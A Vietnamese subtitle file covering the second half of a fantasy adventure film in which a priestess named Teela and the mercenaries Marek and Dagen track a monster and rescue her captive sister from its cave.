00:47:50.200 --> 00:47:51.740
Không, không.

00:48:26.570 --> 00:48:30.910
Tôi sẽ dành thời gian
chăm sóc vết thương cho anh.

00:48:31.320 --> 00:48:35.920
Anh sẽ sống.
-Cô có một vẻ đẹp tự nhiên.

00:48:35.990 --> 00:48:40.840
-Chợp mắt chút đi, tôi sẽ canh chừng anh.
-Cám ơn.

00:48:46.540 --> 00:48:47.840
Cám ơn.

00:48:49.090 --> 00:48:51.640
Được rồi.

00:48:55.010 --> 00:48:57.980
Để tôi đi xem xung quanh.

00:50:34.610 --> 00:50:36.610
Làm gì đó?

00:50:41.580 --> 00:50:47.250
Nó được đặt trên bàn thờ,
tượng trưng cho lời thề tình yêu.

00:50:48.960 --> 00:50:54.140
-Sao anh biết?
-Kinh nghiệm cá nhân thôi.

00:50:58.180 --> 00:51:02.730
Có lẽ nó không thuộc về nơi này.

00:51:03.350 --> 00:51:07.650
-Tôi thậm chí không biết mình đang ở đâu,
có phải ở nhà không? -Không.

00:51:08.270 --> 00:51:10.940
1 nơi ẩn nấp cấp trung.

00:51:11.020 --> 00:51:14.740
Chắc đây là nơi cất giữ
hàng buôn lậu của các vệ sĩ.

00:51:14.820 --> 00:51:20.700
Nhưng thời gian trôi qua nhanh quá.

00:51:21.950 --> 00:51:23.920
Cô biết đấy.

00:51:24.870 --> 00:51:30.340
Oh, tôi thấy Sklavenmal trên cổ cô.

00:51:32.210 --> 00:51:34.590
Nó đã lập tức thu hút tôi.

00:51:41.720 --> 00:51:44.190
Tôi sẽ ra ngồi bên đống lửa.

00:52:09.790 --> 00:52:13.760
Nhiệm vụ có vẻ
đã hoàn thành rồi Teela à.

00:52:14.790 --> 00:52:19.420
Trừ khi cô có manh mối
nơi ở của em gái cô.

00:52:20.380 --> 00:52:23.980
-Em gái tôi đã bị yêu tinh bắt.
-Yêu tinh?

00:52:24.300 --> 00:52:28.770
Đúng vậy, con yêu tinh,
và phải là con đó.

00:52:28.850 --> 00:52:31.690
Con yêu tinh đã
tấn công đền thờ của cô.

00:52:31.770 --> 00:52:36.450
Tôi có cảm giác Teela
đang giấu chúng ta điều gì.

00:52:36.770 --> 00:52:41.080
Có thể cô ta đang giấu
bằng chứng gì đó.

00:52:41.570 --> 00:52:44.670
-Tôi không nghĩ nữ thần để chúng ta làm vậy.
-Khỉ gió nữ thần.

00:52:44.740 --> 00:52:48.500
Tôi đã cố gắng
hết sức mình để cứu em cô.

00:52:48.580 --> 00:52:52.710
Giờ tôi muốn bạc
và sau đó rời đi.

00:52:52.960 --> 00:52:56.090
Tôi không có bạc cho anh,
chưa phải bây giờ.

00:52:58.050 --> 00:52:59.840
Nghe tuyệt ghê chưa?

00:53:01.090 --> 00:53:04.970
Nữ thần đã hứa
sẽ chi trả cho anh.

00:53:05.050 --> 00:53:07.560
Tôi không nói với cô nữa.

00:53:10.770 --> 00:53:13.940
Trong thâm tâm tôi biết
em gái tôi còn sống.

00:53:14.020 --> 00:53:16.240
Tôi vẫn phải tìm nó.

00:53:16.310 --> 00:53:22.490
-Nếu vậy thì chúc may mắn.
-Dagen đợi đã!

00:53:54.940 --> 00:53:56.480
Im lặng!

00:53:58.650 --> 00:54:01.120
-Anh làm gì vậy?
-Tôi muốn bỏ đi.

00:54:01.570 --> 00:54:05.540
-Đây là nhiệm vụ tự sát.
-Tự sát một mình.

00:54:06.110 --> 00:54:11.790
Tôi đi theo công lý,
cô có thể theo nếu thích.

00:54:12.830 --> 00:54:19.090
-Tôi cũng muốn thấy.
-Hãy bảo trọng.

00:54:19.170 --> 00:54:20.760
Đợi đã!

00:54:50.530 --> 00:54:52.280
Teela?

00:54:53.990 --> 00:55:01.000
-Không, tôi không phải.
-Vậy đã sao.

00:55:05.090 --> 00:55:07.720
Ta đã hứa rồi.

00:55:09.590 --> 00:55:14.440
Chỉ cần có nàng,
chúng ta sẽ tiếp tục sống.

00:55:34.990 --> 00:55:37.090
Teela.

00:56:28.420 --> 00:56:31.930
-Cô nên nghỉ ngơi.
-Không cần.

00:56:33.550 --> 00:56:38.100
Tôi cũng vậy,
ngủ không còn ngon nữa.

00:56:38.850 --> 00:56:44.110
Trước đây tôi từng
ngủ như một đứa trẻ.

00:56:50.740 --> 00:56:52.860
Cô thật thông minh.

00:56:53.610 --> 00:57:00.620
Teela, cô là người truyền giáo,
cô đã giúp đỡ ai chưa?

00:57:02.370 --> 00:57:08.760
Nếu đó là những người
tâm hồn vướng tội lỗi thì có đấy.

00:57:09.960 --> 00:57:15.350
Tôi có thuần khiết không,
cô có thể chữa lành chân tôi không?

00:57:16.970 --> 00:57:18.020
Làm ơn!

00:57:43.000 --> 00:57:47.470
Tôi xin lỗi, Marek,
tôi không phải nữ thần.

00:57:48.130 --> 00:57:52.350
Cái gì, nếu vậy...
thì tại sao?

00:57:52.760 --> 00:57:56.760
Chân của cô đã bị
đánh dấu bởi các vị thần.

00:57:57.550 --> 00:57:59.930
Tôi cảm nhận được
bóng tối trong người cô.

00:58:00.010 --> 00:58:03.940
Tôi là người tốt mà,
không có bóng tối gì đâu.

00:58:04.020 --> 00:58:08.770
Chúng ta đều có
bóng tối và ánh sáng.

00:58:16.110 --> 00:58:20.490
Nếu thế sao tôi lại khác biệt?
Sao cô không thể chữa lành cho tôi?

00:59:00.620 --> 00:59:05.040
-Anh nghĩ những dấu vết yêu tinh này bao lâu?
-Hai ngày hoặc ít hơn.

00:59:05.330 --> 00:59:08.380
-Những dấu vết này thật lạ.
-Đúng vậy.

00:59:08.460 --> 00:59:14.460
-Nhưng là người, không phải yêu tinh.
-Sao anh lại thành lính?

00:59:16.050 --> 00:59:21.180
Để nhìn thấy thế giới
và bảo vệ nó, còn cô?

00:59:21.930 --> 00:59:25.350
-Tại sao tôi chọn mệnh lệnh Aniset à?
-Đúng.

00:59:25.430 --> 00:59:30.110
Là khi em tôi
muốn trả thù cha chúng tôi.

00:59:30.190 --> 00:59:35.160
Tôi đã hứa sẽ không
đi theo vết xe đổ của cô ấy.

00:59:35.230 --> 00:59:38.910
Rồi tôi phát hiện ra
ông ấy bán tôi cho chủ đất.

00:59:38.990 --> 00:59:44.620
Tôi theo mệnh lệnh Aniset,
và từ đó coi họ như gia đình.

00:59:45.370 --> 00:59:48.460
Không có ai từ bỏ cơ hội
vương giả như cô đâu.

00:59:48.540 --> 00:59:51.760
Tôi không muốn bị trao đổi
như một món hàng.

00:59:51.830 --> 00:59:56.260
-Cha cô thật ích kỉ.
-Còn hơn thế nữa.

00:59:57.300 --> 00:59:59.800
Cuộc sống bị bế tắc.

01:00:03.430 --> 01:00:07.680
Những dấu chân này
sâu hơn và rõ hơn.

01:00:08.850 --> 01:00:12.530
-Nó đang chạy trốn.
-Khỏi cái gì?

01:00:12.730 --> 01:00:19.700
Có lẽ đang chạy trốn,
tôi không rõ về loài này.

01:00:21.360 --> 01:00:27.840
-Chúng ta sẽ dần mất manh mối.
-Anh có ý gì không?

01:00:29.620 --> 01:00:31.720
Tôi nghĩ ta nên tìm chỗ trú.

01:00:31.790 --> 01:00:36.920
Một chỗ dừng chân
trước khi trời tối.

01:00:39.380 --> 01:00:41.300
Nhưng tôi có thời gian.

01:00:41.380 --> 01:00:45.760
Em gái cô còn sống
đủ thời gian để chúng ta cứu.

01:00:45.850 --> 01:00:48.320
Tôi nghĩ nên tiếp tục tìm kiếm.

01:01:20.420 --> 01:01:24.140
-Yêu tinh!
-Nó đã quyết định rồi.

01:01:24.220 --> 01:01:28.890
-Nó đang bị bắt giữ, có thể còn sống.
-Có lẽ là vậy.

01:01:29.390 --> 01:01:33.190
Nữ thần có mục đích của người,
người sẽ không đồng ý đâu.

01:01:33.270 --> 01:01:38.020
Tôi chán nghe cô ca thán nữ thần rồi,
vậy em cô có ý nghĩa gì?

01:01:38.440 --> 01:01:42.820
Có thể Dagen đúng,
nhà thờ của cô đã bị đốt.

01:01:43.070 --> 01:01:45.200
Em gái của cô
có lẽ đã chết.

01:01:45.280 --> 01:01:48.780
Và có lẽ chúng tôi
cũng sẽ chết theo luôn.

01:01:48.870 --> 01:01:53.460
Có lẽ cô chẳng màn
quan tâm đến chúng tôi đâu.

01:01:53.910 --> 01:02:00.090
Nhưng tôi biết, tôi
không để bạn mình chết như cô.

01:02:00.170 --> 01:02:05.800
-Bỏ mặc một mình.
-Cái ngày Dagen bỏ đi...

01:02:11.890 --> 01:02:15.190
-Cái gì vậy?
-Chúng ta phải trốn thôi.

01:02:18.440 --> 01:02:22.780
Chúng ta phải tìm nơi ẩn nấp
có thể thấy được nó.

01:02:43.340 --> 01:02:46.840
-Đừng nhìn vào mắt nó!
-Nhìn vào đó là chết đấy.

01:02:46.930 --> 01:02:50.270
-Giờ nên chạy hay sao?
-Cứ chạy đi!

01:02:52.010 --> 01:02:55.610
-Phải tìm nơi ẩn nấp!
-Đang tìm đây.

01:03:09.740 --> 01:03:11.740
Hãy xem ta đây!

01:03:16.250 --> 01:03:19.340
Nó đâu phải con chó,
chạy mau đi.

01:03:37.560 --> 01:03:41.190
-Chuyện gì vậy?
-Tôi không muốn biết.

01:03:42.270 --> 01:03:44.820
Trước mặt có chỗ ẩn nấp.

01:04:10.590 --> 01:04:12.890
Có lẽ chúng ta nên dừng lại.

01:04:24.730 --> 01:04:26.110
Giữa mấy cái cây!

01:04:28.690 --> 01:04:30.660
Đi đi, tôi có thể xử được.

01:04:31.610 --> 01:04:34.330
-Thả tôi xuống!
-Bám chắc vào!

01:04:34.410 --> 01:04:36.500
Thả tôi ra.

01:04:38.240 --> 01:04:40.710
Nhanh lên! Chạy nhanh lên!

01:04:59.270 --> 01:05:01.610
Ta này, đồ quỷ dữ!

01:05:03.400 --> 01:05:05.020
Đẹp lắm!

01:05:09.860 --> 01:05:15.210
Marek! Đừng lo cho tôi,
hãy đi tìm em gái tôi.

01:05:39.890 --> 01:05:42.860
Tại sao cô không chữa cho tôi?

01:06:00.290 --> 01:06:03.660
Aniset, hãy nghe lời con!

01:06:16.430 --> 01:06:19.850
Con đã thất bại thưa nữ thần.

01:06:21.760 --> 01:06:26.360
Bạn con sẽ chết mất,
con thật cô độc.

01:06:27.400 --> 01:06:32.650
Hãy chữa cho con,
để con có thể cứu bạn.

01:06:33.110 --> 01:06:38.370
Người có nghe con không,
xin hãy trả lời.

01:06:40.450 --> 01:06:42.200
Hãy trả lời con.

01:06:43.240 --> 01:06:45.370
Hãy trả lời.

01:06:45.830 --> 01:06:47.630
Trả lời đi.

01:06:51.500 --> 01:06:53.100
Hãy trả lời.

01:07:00.350 --> 01:07:04.900
Người đã nhầm,
người đã nhầm về con rồi.

01:07:13.320 --> 01:07:15.440
Thần thánh khỉ gió!

01:08:58.500 --> 01:09:04.480
Bữa ăn cuối cùng đây hả?
Sao không có bia bọt gì hết?

01:09:08.220 --> 01:09:10.440
Cảm ơn!

01:10:19.500 --> 01:10:21.430
Quỷ thần ơi!

01:10:27.140 --> 01:10:29.230
Marek, là cô đấy à?

01:10:31.010 --> 01:10:34.140
Im lặng đi, tôi đang tập trung.

01:10:40.400 --> 01:10:42.450
Cảm ơn cô nhiều!

01:10:52.030 --> 01:10:54.710
Đừng có manh động
nếu cô không muốn chết.

01:11:08.970 --> 01:11:13.310
Cô tới thật đúng lúc,
không là tôi tiêu rồi.

01:11:14.680 --> 01:11:16.610
Được rồi.

01:11:22.900 --> 01:11:27.150
-Cái này của anh hả?
-Trời ơi.

01:11:27.780 --> 01:11:31.200
Tôi cứ tưởng cô ghét tôi.

01:11:31.740 --> 01:11:33.840
Những người khác đâu?

01:11:36.750 --> 01:11:42.550
-Cô bỏ họ hả? Thật thông minh.
-Không, chúng ta sẽ đi cứu họ,

01:11:44.380 --> 01:11:46.260
Yêu tinh?

01:11:46.920 --> 01:11:50.470
Trời ạ, đề làm gì vậy Marek?

01:11:51.640 --> 01:11:54.390
Bởi vì họ là bạn.

01:11:56.680 --> 01:12:01.060
Tôi không có nhiều bạn,
và anh cũng vậy.

01:12:04.070 --> 01:12:08.290
Tôi biết hang động của yêu tinh,
ngay cây cầu gần đây.

01:12:08.740 --> 01:12:10.780
Được rồi.

01:12:18.870 --> 01:12:20.250
Đợi đã.

01:12:46.190 --> 01:12:49.990
-Chúng ta tới rồi.
-Hang ổ của chúng đây sao?

01:12:51.110 --> 01:12:54.660
Tôi đoán chắc là vậy.

01:13:01.250 --> 01:13:03.420
Cô biết điều này
là không thể đúng không?

01:13:03.500 --> 01:13:06.220
Tôi tưởng cái gì
cũng là có thể đối với anh?

01:13:06.840 --> 01:13:10.310
Tôi chỉ mong cô
công nhận thành công này.

01:13:15.470 --> 01:13:18.190
-Tại sao...?
-Chắc là yêu đó.

01:13:33.570 --> 01:13:36.870
Này, ai đó?

01:13:37.910 --> 01:13:39.830
Có ai ở đó không?

01:13:40.700 --> 01:13:44.800
Làm ơn, cứu tôi với!

01:13:45.500 --> 01:13:48.500
Ai vậy?

01:13:48.920 --> 01:13:52.300
Tôi bị bẫy,
làm ơn cứu với.

01:13:52.380 --> 01:13:54.380
Có ai đó không,
tôi nghe thấy anh.

01:13:58.010 --> 01:14:00.640
Có người ngoài đó.

01:14:01.770 --> 01:14:05.610
Ai vậy, ai vậy?
Tôi ở đây.

01:14:05.980 --> 01:14:10.780
-ở đây.
-Im lặng, có ai đây không?

01:14:14.530 --> 01:14:19.250
-Anh là ai vậy, cứu tôi!
-Im lặng nào anh chàng.

01:14:21.160 --> 01:14:25.710
-Có ai đi cùng anh không, truyền giáo hay ai đó?
-Không có!

01:14:25.790 --> 01:14:30.090
-Tôi có một mình.
-Chờ tôi một chút.

01:14:30.750 --> 01:14:36.640
Làm ơn hãy cứu tôi.
Làm ơn cứu tôi ra.

01:14:37.800 --> 01:14:41.980
Đừng bỏ tôi lại,
xin anh đấy.

01:14:42.970 --> 01:14:45.190
Quay lại đi.

01:14:45.270 --> 01:14:49.020
Cốc cốc, xin chào cô nương,
tôi là Dagen.

01:14:49.400 --> 01:14:53.570
-Chị gái cô muốn tôi cứu cô.
-Tôi không sao.

01:14:53.650 --> 01:14:56.700
Cầm lấy cái này đi.

01:14:59.530 --> 01:15:03.790
Cầm viên đá này tới Sunhill,
họ có thể bảo vệ nó.

01:15:04.290 --> 01:15:09.210
Nghe này cô nương, chúng tôi
đã vật vã đi cứu cô mà.

01:15:10.130 --> 01:15:14.600
Làm ơn đi,
cứu tôi ra khỏi đây.

01:15:14.760 --> 01:15:19.480
Đừng có ngu quá,
viên đá là quan trọng nhất.

01:15:19.550 --> 01:15:22.060
Cô thật y chang chị cô.

01:15:26.480 --> 01:15:30.780
Nó về rồi, cứu tôi với!
Nó về rồi!

01:15:36.740 --> 01:15:39.620
Hãy cứu tôi khỏi đây!

01:15:52.290 --> 01:15:53.640
Dagen.

01:16:04.810 --> 01:16:10.530
-Hai người có muốn thoát ra không?
-Dagen, trời ơi.

01:16:10.900 --> 01:16:13.940
-Tôi không nghĩ sẽ được gặp cậu.
-Giờ gặp.

01:16:14.020 --> 01:16:18.070
-Tôi đã tìm được em gái cô.
-Còn Marek thì sao?

01:16:18.150 --> 01:16:22.410
-Đây này.
-Chúng tôi sẽ cứu hai người.

01:16:27.410 --> 01:16:29.510
Đẩy nào!

01:16:32.170 --> 01:16:35.970
Được rồi, thay đổi kế hoạch.

01:16:36.130 --> 01:16:40.100
-Có lẽ nên đánh lạc hướng nó.
-Nó có thể ăn thịt chúng ta đấy.

01:16:42.590 --> 01:16:48.020
Tôi có ý này, Teela cô
có nhớ câu bùa chú lúc trước không?

01:16:48.220 --> 01:16:52.150
-Cái tôi đã luyện tập trên súc vật à?
-Đúng rồi.

01:16:53.060 --> 01:16:59.040
-Aniset có thể giúp ta.
-Hãy bám chặt vào.

01:17:05.700 --> 01:17:07.080
Sẵn sàng chứ?

01:17:26.100 --> 01:17:29.020
Đừng lo Teela,
có tôi đây rồi.

01:18:17.810 --> 01:18:19.410
Marek.

01:18:27.450 --> 01:18:29.363
-Chuyện gì vậy?
-Tôi xin lỗi.

01:18:31.450 --> 01:18:35.920
-Đây là cách duy nhất.
-Không có gì đâu.

01:18:36.250 --> 01:18:38.300
Tìm được Caeryn chưa?

01:18:39.670 --> 01:18:41.140
Caeryn?

01:18:41.420 --> 01:18:45.220
-Dagen! Giúp tôi một tay.
-ừ.

01:18:45.800 --> 01:18:46.930
Đẩy nào.

01:18:55.680 --> 01:18:57.530
Tự do rồi, em gái.

01:18:59.230 --> 01:19:01.280
Tôi cần vũ khí.

01:19:20.920 --> 01:19:22.420
Lối này.

01:19:51.530 --> 01:19:54.880
Tôi thấy có không khí,
chắc chắn có lối ra ở đằng kia.

01:19:54.950 --> 01:19:57.250
Tôi thấy ánh sáng rồi.

01:20:17.470 --> 01:20:21.400
-Anh nghĩ anh làm được chứ?
-Có thể.

01:20:21.480 --> 01:20:25.530
-Nhưng làm sao đưa các người còn lại ra đây?
-Cứu anh ấy với!

01:20:33.070 --> 01:20:35.290
Gì vậy?

01:20:44.380 --> 01:20:48.010
Tôi thấy có gì không ổn.

01:21:01.940 --> 01:21:05.740
Nó muốn ăn thịt chúng ta sao?
Chúng ta mau chạy thôi.

01:21:05.810 --> 01:21:08.190
Tôi không chắc lắm.

01:21:09.610 --> 01:21:12.240
Tới đây nào!

01:22:02.330 --> 01:22:04.830
Tôi hết tên rồi.

01:22:26.060 --> 01:22:28.690
Nhanh lên, trước khi nó hồi sinh.

01:22:35.450 --> 01:22:38.500
Nhanh lên.

01:22:41.450 --> 01:22:45.750
Lối ra kia rồi. Mọi người nhanh lên.

01:23:52.230 --> 01:23:53.280
Không!

01:24:05.660 --> 01:24:07.910
Ngươi chết đi!

01:24:52.040 --> 01:24:54.760
Làm tốt lắm, người đẹp của ta.

01:25:00.050 --> 01:25:02.680
Anh ổn không?

01:25:05.010 --> 01:25:09.060
-Cô làm được rồi đó.
-Không, là chúng ta làm được.

01:25:15.980 --> 01:25:19.660
Giỡn mặt sao?
Không có châu báu à?

01:25:20.150 --> 01:25:26.080
Tôi nghe đám tu sĩ nói ở đây
có rất nhiều châu báu mà?

01:25:26.280 --> 01:25:28.880
Nó thuộc về ngôi đền.

01:25:28.950 --> 01:25:34.000
-Chúng ta phải nhanh lên, tối đến rất nguy hiểm.
- Tối à?

01:25:34.080 --> 01:25:39.430
Chỗ này không có gì đáng giá cả.

01:26:05.410 --> 01:26:10.540
-Cái này giá bao nhiêu?
-Giá bao nhiêu à?

01:26:11.330 --> 01:26:18.180
Thật ra là miễn phí đó.

01:26:19.090 --> 01:26:21.560
-Xong xuôi.
-ừ.

01:26:33.730 --> 01:26:36.270
Em sẽ không bỏ cuộc
cho đến khi em trở thành tu sĩ.

01:26:36.350 --> 01:26:40.820
-Hiệp sĩ sẽ đưa họ thứ đó.
-Chị lo lắng cho em.

01:26:40.900 --> 01:26:44.200
Em phải đi một mình sao?
-Mọi thứ rất an toàn.

01:26:44.280 --> 01:26:49.330
Em không sợ. Các nữ thần
muốn chị ở lại đây trong thời gian này.

01:26:49.410 --> 01:26:54.210
Em sẽ đưa tượng đá cho hiệp sĩ.
Chị bảo trọng nhé.

01:26:57.040 --> 01:27:00.090
Giờ chị đi với bạn chị đi.

01:27:26.950 --> 01:27:31.790
Tôi nghĩ tôi sẽ thành nông dân.
Tôi không muốn phiêu lưu mạo hiểm nữa.

01:27:33.740 --> 01:27:37.870
Chuyến phiêu lưu!
- Sống tự trọng!

01:27:37.960 --> 01:27:40.760
Danh dự và vàng.

01:28:00.940 --> 01:28:04.660
Còn tiếp...

ZeroDay Forums Mini